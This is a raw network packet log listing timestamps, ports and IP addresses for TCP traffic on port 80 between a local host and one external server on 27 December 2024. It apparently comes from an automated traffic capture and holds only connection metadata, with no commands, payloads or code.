Dec 27, 2024 15:05:51.150032997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.150109053 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.150158882 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.151899099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.151981115 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.152033091 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.153665066 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.153794050 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.153836966 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.155558109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.155632973 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.155679941 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.157269955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.157342911 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.157387018 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.159121037 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.159185886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.159229994 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.160520077 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.160648108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.160763979 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.161993980 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.162072897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.162132025 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.163454056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.163541079 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.163583994 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.164930105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.165029049 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.165071964 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.170948029 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.170989990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171003103 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171041012 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.171097994 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171111107 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171123028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171133041 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.171135902 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171159029 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.171330929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.171382904 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.172168016 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.172270060 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.172306061 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.173556089 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.173664093 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.173707962 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.175015926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.175131083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.175458908 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.176450014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.176593065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.176711082 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.177947998 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.178023100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.178081989 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.179388046 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.179558992 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.179598093 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.180810928 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.180919886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.180960894 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.182348967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.182420015 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.182497025 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.183717966 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.183842897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.183881998 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.185259104 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.185360909 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.185473919 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.187104940 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.187200069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.187375069 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.188390970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.188438892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.188533068 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.189680099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.189794064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.189846039 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.191032887 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.191132069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.191240072 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.192404985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.192543983 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.192584991 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.193866014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.193969965 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.194031000 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.195368052 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.195415020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.195472002 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.196760893 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.196854115 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.196892977 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.198210001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.198324919 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.198360920 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.199660063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.199779034 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.199862957 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.201369047 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.201502085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.201561928 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.202579021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.202758074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.202873945 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.204035997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.204104900 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.204149961 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.205616951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.205714941 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.205796957 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.206938982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.207247019 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.207288027 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.208479881 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.208564997 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.208611012 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.209875107 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.209933996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.209990025 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.211285114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.211400032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.211447954 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.212793112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.212971926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.213012934 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.214131117 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.214306116 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.214354992 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.215641975 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.215770960 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.215811968 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.217152119 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.217183113 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.217274904 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.218660116 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.218821049 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.218887091 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.219970942 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.220166922 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.220241070 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.221466064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.221554041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.221746922 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.222866058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.222985029 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.223021030 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.224314928 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.224411964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.224448919 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.225795984 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.225925922 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.226070881 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.227300882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.227423906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.227561951 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.228827953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.228899956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.228955984 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.230134964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.230225086 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.230268955 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.231555939 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.231678963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.232055902 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.232974052 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.274842024 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.319869995 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.320069075 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.320175886 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.320494890 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.320672035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.320709944 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.321887970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.322371006 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.322410107 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.322422028 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.323714972 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.323755026 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.323791027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.325189114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.325232983 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.325275898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.326715946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.326730013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.327039957 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.328063011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.328119040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.328138113 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.329304934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.329370022 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.329407930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.330795050 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.330811024 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.330847979 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.332005024 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.332051039 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.332065105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.335230112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.335330963 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.335378885 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.335547924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.335560083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.335598946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.336010933 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.336046934 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.336203098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.337515116 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.337527990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.337558031 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.338598013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.338671923 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.338772058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.339823961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.339889050 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.339979887 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.341569901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.341728926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.341778040 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.342561007 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.342609882 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.342724085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.343713999 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.343782902 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.343985081 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.345207930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.345221996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.345279932 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.346401930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.346442938 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.346563101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.347740889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.347788095 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.347903013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.349147081 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.349163055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.349211931 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.350753069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.350765944 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.350805044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.351962090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.352006912 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.352113962 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.353076935 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.353089094 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.353135109 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.354195118 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.354239941 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.354336023 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.355416059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.355464935 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.355570078 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.356817961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.356863022 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.356975079 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.358124971 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.358138084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.358171940 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.359388113 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.359407902 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.359431982 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.360832930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.360846043 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.360878944 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.361932039 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.361954927 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.362008095 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.363198996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.363251925 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.363374949 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.364471912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.364515066 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.364624023 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.365884066 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.365950108 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.366009951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.367207050 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.367218971 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.367254019 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.368146896 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.368208885 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.368233919 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.370382071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.370465994 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.370534897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.371336937 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.371349096 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.371378899 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.372128963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.372185946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.372287035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.373378038 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.373425961 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.373532057 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.374644995 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.374692917 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.374779940 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.375823975 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.375879049 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.375912905 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.377089024 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.377140999 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.377165079 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.378590107 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.378650904 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.378786087 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.379774094 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.379815102 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.379838943 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.380939007 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.380990982 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.380999088 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.382210970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.382258892 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.382375956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.383481979 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.383538961 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.383558035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.384742975 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.384792089 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.385495901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.387574911 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.387586117 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.387598991 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.387609959 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.387629986 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.387681961 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.978815079 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978835106 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978854895 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978866100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978879929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978895903 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.978924990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978935003 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.978938103 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978950024 CET	80	49755	185.215.113.16	192.168.2.6
